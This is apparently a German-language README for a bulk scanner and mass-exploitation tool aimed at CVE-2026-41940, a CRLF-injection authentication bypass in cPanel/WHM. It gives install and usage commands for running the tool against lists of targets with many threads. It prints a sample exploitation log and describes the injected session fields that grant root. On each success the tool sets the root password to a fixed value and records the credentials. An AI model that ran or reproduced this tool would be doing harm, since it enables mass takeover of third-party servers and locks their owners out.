
Bulk-Scanner und Massen-Exploitation-Tool für CVE-2026-41940 auf cPanel/WHM, entwickelt für automatisierte Zielvalidierung und schnelle Multithread-Ausführung.
CVE-2026-41940 ist eine kritische Schwachstelle zur Authentifizierungsumgehung in WHM/cPanel, die es Angreifern ermöglicht, die Authentifizierung zu umgehen und ohne gültige Anmeldedaten Root-Zugriff auf einen Server zu erlangen. Die Schwachstelle nutzt CRLF-Injection im Sitzungsverwaltungsmechanismus aus, um bösartige Sitzungsparameter einzuschleusen.
Dieses Tool bietet Massen-Exploitation-Funktionen mit Multi-Threading-Unterstützung zum gleichzeitigen Testen mehrerer Ziele, inklusive intelligenter Erfolgserkennung und automatischer Filterung ungültiger Ziele.
| Funktion | Beschreibung |
|---|---|
| ✅ Massen-Exploitation | Scannt und exploitet mehrere Ziele aus einer Listendatei |
| 🚀 Multi-Threading | Konfigurierbare Anzahl an Threads für schnellere Scans (Standard: 15) |
| 🔐 Automatische Passwortänderung | Ändert das Root-Passwort bei erfolgreichem Exploit auf Jenderal92 |
| 🛡️ Intelligente Erfolgserkennung | Erkennt automatisch verschiedene WHM-API-Antwortformate |
| ⚠️ Lizenzfehler-Filterung | Schließt Ziele mit ungültigen/nicht lesbaren Lizenzfehlern aus |
| 📝 Strukturierte Ausgabe | Speichert nur bestätigte Erfolge im Format `domain:port |
| 🛡️ SSL/TLS-Unterstützung | Verarbeitet selbstsignierte Zertifikate automatisch |
| 🔄 Sitzungsverwaltung | Automatische Sitzungsextraktion, Cookie-Injection und Token-Verwaltung |
| ⏱️ Timeout-Steuerung | Konfigurierbarer Verbindungs-Timeout (Standard: 15 Sekunden) |
| 🔍 Vorab-Verbindungsprüfung | Prüft die Portverfügbarkeit vor dem Exploit-Versuch |
| 📊 Echtzeit-Fortschritt | Zeigt detaillierten Fortschritt für jede Exploit-Phase |
pip install requests urllib3 futures
Oder requirements.txt verwenden:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
Erstellen Sie eine Datei targets.txt mit einem Ziel pro Zeile:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Hinweis: Port
2087ist der standardmäßige WHM-Port. Wenn kein Port angegeben ist, wird automatisch Port 2087 verwendet. Ein HTTP/HTTPS-Präfix wird automatisch hinzugefügt, falls er fehlt.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argument | Beschreibung | Standard | Erforderlich |
|---|---|---|---|
list_file | Datei mit der Zielliste (ein Ziel pro Zeile) | - | ✅ Ja |
--threads | Anzahl paralleler Threads | 15 | ❌ Nein |
--hostname | Host-Header für alle Ziele überschreiben | Automatisch ermitteln | ❌ Nein |
--timeout | Verbindungs-Timeout in Sekunden | 15 | ❌ Nein |
res.txt)Nur bestätigte, erfolgreiche Exploits werden gespeichert. Ziele mit Lizenzfehlern, fehlgeschlagenen Passwortänderungen oder Verbindungsproblemen werden automatisch ausgeschlossen.
Format:
domain:port|root|Jenderal92
Beispielausgabe:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Die folgenden Ziele werden NICHT in res.txt gespeichert:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
Der Exploit besteht aus 4 Hauptphasen mit intelligenter Verifizierung:
[1] minting a preauth session...
/login/?login_only=1 mit ungültigen Anmeldedatenwhostmgrsession-Cookie aus der Serverantwort ab,<obhex>[2] sending the CRLF injection...
Authorization: Basic-Header, der eine bösartige Nutzlast enthältroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) schleusen gefälschte Sitzungsparameter einLocation-Header, der das cp_security_token enthält